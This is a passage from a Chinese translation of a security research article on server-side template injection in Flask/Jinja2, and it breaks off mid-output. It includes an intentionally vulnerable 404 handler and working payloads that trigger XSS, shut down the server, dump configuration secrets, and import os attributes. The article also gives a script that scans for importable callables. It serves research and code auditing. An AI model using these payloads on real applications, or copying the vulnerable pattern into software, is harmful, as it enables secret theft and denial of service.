Part1: https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2/
Part2: https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/

Part 1

如果你从未听过服务端模板注入(SSTI)攻击,或者不太了解它是个什么东西的话,建议在继续浏览本文之前可以阅读一下James Kettle写的这篇文章

作为安全从业者,我们都是在帮助企业做一些基于风险的决策。因为风险是影响和属性的产物,所以我们在不知道一个漏洞的真实影响力的情况下,无法正确地计算出相应的风险值。作为一个经常使用Flask框架的开发者,James的研究促使我去弄清楚,SSTI对基于Flask/Jinja2开发堆栈的应用程序的影响有多大。这篇文章就是我研究的结果。如果你想在深入之前了解更多的背景知识,你可以查看一下Ryan Reid写的这篇文章,其中提供了在Flask/Jinja2应用中更多有关SSTI的信息。

0x00 Setup


为了评估在Flask/Jinja2堆栈中SSTI的影响,让我们建立一个小小的poc程序,代码如下。

#!python
@app.errorhandler(404)
def page_not_found(e):
    template = '''{%% extends "layout.html" %%}
{%% block body %%}
    <div class="center-content error">
        <h1>Oops! That page doesn't exist.</h1>
    <h3>%s</h3>
    </div>
{%% endblock %%}
''' % (request.url)
    return render_template_string(template), 404

在这段代码的背后,该开发者觉得为一个小小的404页面创建一个单独的模板文件可能会有些愚蠢了,所以他就在404视图功能当中创建了一个模板字符串。该开发者想要回显出用户输入的错误URL;但该开发者选择使用字符串格式化,来将URL动态地加入到模板字符串中,而不是通过render_template_string函数将URL传递进入模板内容当中。感觉相当合理,对不对?这是我见过最糟的了。

在测试这项功能的时候,我们看到了预期的效果。

看到这种情况大多数人马上会想到XSS,他们的想法是正确的。在URL的尾部加上<script>alert(42)</script>就触发了一个XSS漏洞。

目标代码很容易被XSS,但是在James的文章中,他指出XSS很有可是SSTI的一个迹象。现在这种情况就是一个很好的例子。如果我们更加深入一点,在URL的末尾添加上{{ 7+7 }},我们可以看到模板引擎计算了数学表达式,应用程序在响应的时候将其解析成14

我们现在已经在目标应用程序中发现了SSTI漏洞。

0x01 Analysis


由于我们要得到一个可用的exp,下一步就是深入到模板环境当中,通过SSTI漏洞来寻找出可供攻击者利用的点。我们修改一下poc程序中存在漏洞的预览功能,如下所示。

#!python
@app.errorhandler(404)
def page_not_found(e):
    template = '''{%% extends "layout.html" %%}
{%% block body %%}
    <div class="center-content error">
        <h1>Oops! That page doesn't exist.</h1>
        <h3>%s</h3>
    </div>
{%% endblock %%}
''' % (request.url)
    return render_template_string(template,
        dir=dir,
        help=help,
        locals=locals,
    ), 404

我们将dir, help,和locals这些内建函数传入到render_template_string函数中,通过函数调用将其加入到模板环境中,从而使用它们通过漏洞进行内省,来发现模板程序上可利用的点。

让我们稍微暂停一下,探讨探讨文档中关于模板内容是怎么说的。这里有几个模板内容中对象的最终来源。

  1. Jinja globals
  2. Flask template globals
  3. 开发者自己添加的对象

我们最关心的是第1点和第2点,因为它们通常都是默认的设置,在我们发现存在SSTI的任何Flask/Jinja2堆栈程序中都是可用的。第3点是依赖于应用程序的,而且有很多种实现的方式。这篇stackoverflow discussion的讨论当中就包含了几个例子。虽然我们在这篇文章中不会深入地讨论第3点,但这也是在代码审计相关Flask/Jinja2堆栈应用程序源码时必须要考虑到的。

为了使用内省继续研究,我们的方法应当如下。

  1. 阅读文档!
  2. 使用dir内省locals对象,在模板内容中寻找一切可用的东西。
  3. 使用dirhelp深入了解所有的对象
  4. 分析任何有趣的Python源代码(毕竟在堆栈中一切都是开源的)

0x02 Results


通过内省request对象我们来进行第一个有趣的探索发现。request对象是一个Flask模板全局变量,代表“当前请求对象(flask.request)”。当你在视图中访问request对象时,它包含了你预期想看到的所有信息。在request对象中有一个叫做environ的对象。request.environ是一个字典,其中包含和服务器环境相关的对象。该字典当中有一个shutdown_server的方法,相应的key值为werkzeug.server.shutdown。所以猜猜看我们向服务端注入{{ request.environ['werkzeug.server.shutdown']() }}会发生什么?没错,会产生一个及其低级别的拒绝服务。当使用gunicorn运行应用程序时就不会存在这个方法,所以漏洞就有可能受到开发环境的限制。

我们第二个有趣的发现来自于内省config对象。config对象是一个Flask模板全局变量,代表“当前配置对象(flask.config)”。它是一个类似于字典的对象,其中包含了应用程序所有的配置值。在大多数情况下,会包含数据库连接字符串,第三方服务凭据,SECRET_KEY之类的敏感信息。注入payload{{ config.items() }}就可以轻松查看这些配置了。

不要认为在环境变量中存储这些配置选项就可以抵御这种信息泄露。一旦相关的配置值被框架解析后,config对象就会把它们全部包含进去。

我们最有趣的发现也来自于内省config对象。虽然config对象是一个类似于字典的对象,但它也是包含若干独特方法的子类:from_envvarfrom_objectfrom_pyfile,以及root_path。最后让我们深入进去看看源代码。以下的代码是Config对象中的from_object方法,flask/config.py

#!python
    def from_object(self, obj):
        """Updates the values from the given object.  An object can be of one
        of the following two types:    

        -   a string: in this case the object with that name will be imported
        -   an actual object reference: that object is used directly    

        Objects are usually either modules or classes.    

        Just the uppercase variables in that object are stored in the config.
        Example usage::    

            app.config.from_object('yourapplication.default_config')
            from yourapplication import default_config
            app.config.from_object(default_config)    

        You should not use this function to load the actual configuration but
        rather configuration defaults.  The actual config should be loaded
        with :meth:`from_pyfile` and ideally from a location not within the
        package because the package might be installed system wide.    

        :param obj: an import name or object
        """
        if isinstance(obj, string_types):
            obj = import_string(obj)
        for key in dir(obj):
            if key.isupper():
                self[key] = getattr(obj, key)    

    def __repr__(self):
        return '<%s %s>' % (self.__class__.__name__, dict.__repr__(self))

我们可以看到,如果我们将字符串对象传递给from_object方法,它会将该字符串传递给werkzeug/utils.py模块的import_string方法,该方法会从路径中导入名字匹配的任何模块并将其返回。

#!python
def import_string(import_name, silent=False):
    """Imports an object based on a string.  This is useful if you want to
    use import paths as endpoints or something similar.  An import path can
    be specified either in dotted notation (``xml.sax.saxutils.escape``)
    or with a colon as object delimiter (``xml.sax.saxutils:escape``).    

    If `silent` is True the return value will be `None` if the import fails.    

    :param import_name: the dotted name for the object to import.
    :param silent: if set to `True` import errors are ignored and
                   `None` is returned instead.
    :return: imported object
    """
    # force the import name to automatically convert to strings
    # __import__ is not able to handle unicode strings in the fromlist
    # if the module is a package
    import_name = str(import_name).replace(':', '.')
    try:
        try:
            __import__(import_name)
        except ImportError:
            if '.' not in import_name:
                raise
        else:
            return sys.modules[import_name]    

        module_name, obj_name = import_name.rsplit('.', 1)
        try:
            module = __import__(module_name, None, None, [obj_name])
        except ImportError:
            # support importing modules not yet set up by the parent module
            # (or package for that matter)
            module = import_string(module_name)    

        try:
            return getattr(module, obj_name)
        except AttributeError as e:
            raise ImportError(e)    

    except ImportError as e:
        if not silent:
            reraise(
                ImportStringError,
                ImportStringError(import_name, e),
                sys.exc_info()[2])

对于新加载的模块,from_object方法会将那些变量名全是大写的属性添加到config对象中。其中有趣的地方就是,添加到config对象的属性会保持原有的类型,这意味着通过config对象,我们可以从模板内容中调用添加的函数。为了证明这一点,我们使用SSTI漏洞注入{{ config.items() }},可以看到当前的整个配置选项。

再注入{{ config.from_object('os') }},这下就会在config对象中添加那些在os库中变量名全是大写的属性。再次注入{{ config.items() }},就可以发现新的配置选项。同样也需要注意这些配置选项的类型。

现在通过SSTI漏洞,我们可以调用添加到config对象中的任何可调用对象。下一步就是寻找可导入模块的相关功能,再加以利用逃逸出模板沙盒。

以下的脚本复制了from_objectimport_string的功能,并分析整个Python标准库中可导入的项目。

#!python
#!/usr/bin/env python    

from stdlib_list import stdlib_list
import argparse
import sys    

def import_string(import_name, silent=True):
    import_name = str(import_name).replace(':', '.')
    try:
        try:
            __import__(import_name)
        except ImportError:
            if '.' not in import_name:
                raise
        else:
            return sys.modules[import_name]    

        module_name, obj_name = import_name.rsplit('.', 1)
        try:
            module = __import__(module_name, None, None, [obj_name])
        except ImportError:
            # support importing modules not yet set up by the parent module
            # (or package for that matter)
            module = import_string(module_name)    

        try:
            return getattr(module, obj_name)
        except AttributeError as e:
            raise ImportError(e)    

    except ImportError as e:
        if not silent:
            raise    

class ScanManager(object):    

    def __init__(self, version='2.6'):
        self.libs = stdlib_list(version)    

    def from_object(self, obj):
        obj = import_string(obj)
        config = {}
        for key in dir(obj):
            if key.isupper():
                config[key] = getattr(obj, key)
        return config    

    def scan_source(self):
        for lib in self.libs:
            config = self.from_object(lib)
            if config:
                conflen = len(max(config.keys(), key=len))
                for key in sorted(config.keys()):
                    print('[{0}] {1} => {2}'.format(lib, key.ljust(conflen), repr(config[key])))    

def main():
    # parse arguments
    ap = argparse.ArgumentParser()
    ap.add_argument('version')
    args = ap.parse_args()
    # creat a scanner instance
    sm = ScanManager(args.version)
    print('\n[{module}] {config key} => {config value}\n')
    sm.scan_source()    

# start of main code
if __name__ == '__main__':
    main()

以下是脚本使用Python 2.7运行后的简短输出,其中包括了大多数可导入的有趣项目。

#!shell
(venv)macbook-pro:search lanmaster$ ./search.py 2.7    

[{module}] {config key} => {config value}    

...
[ctypes] CFUNCTYPE               => <function CFUNCTYPE at 0x10c4dfb90>
...
[ctypes] PYFUNCTYPE              => <function PYFUNCTYPE at 0x10c4dff50>
...
[distutils.archive_util] ARCHIVE_FORMATS => {'gztar': (<function make_tarball at 0x10c5f9d70>, [('compress', 'gzip')], "gzip'ed tar-file"), 'ztar': (<function make_tarball at 0x10c5f9d70>, [('compress', 'compress')], 'compressed tar file'), 'bztar': (<function make_tarball at 0x10c5f9d70>, [('compress', 'bzip2')], "bzip2'ed tar-file"), 'zip': (<function make_zipfile at 0x10c5f9de8>, [], 'ZIP file'), 'tar': (<function make_tarball at 0x10c5f9d70>, [('compress', None)], 'uncompress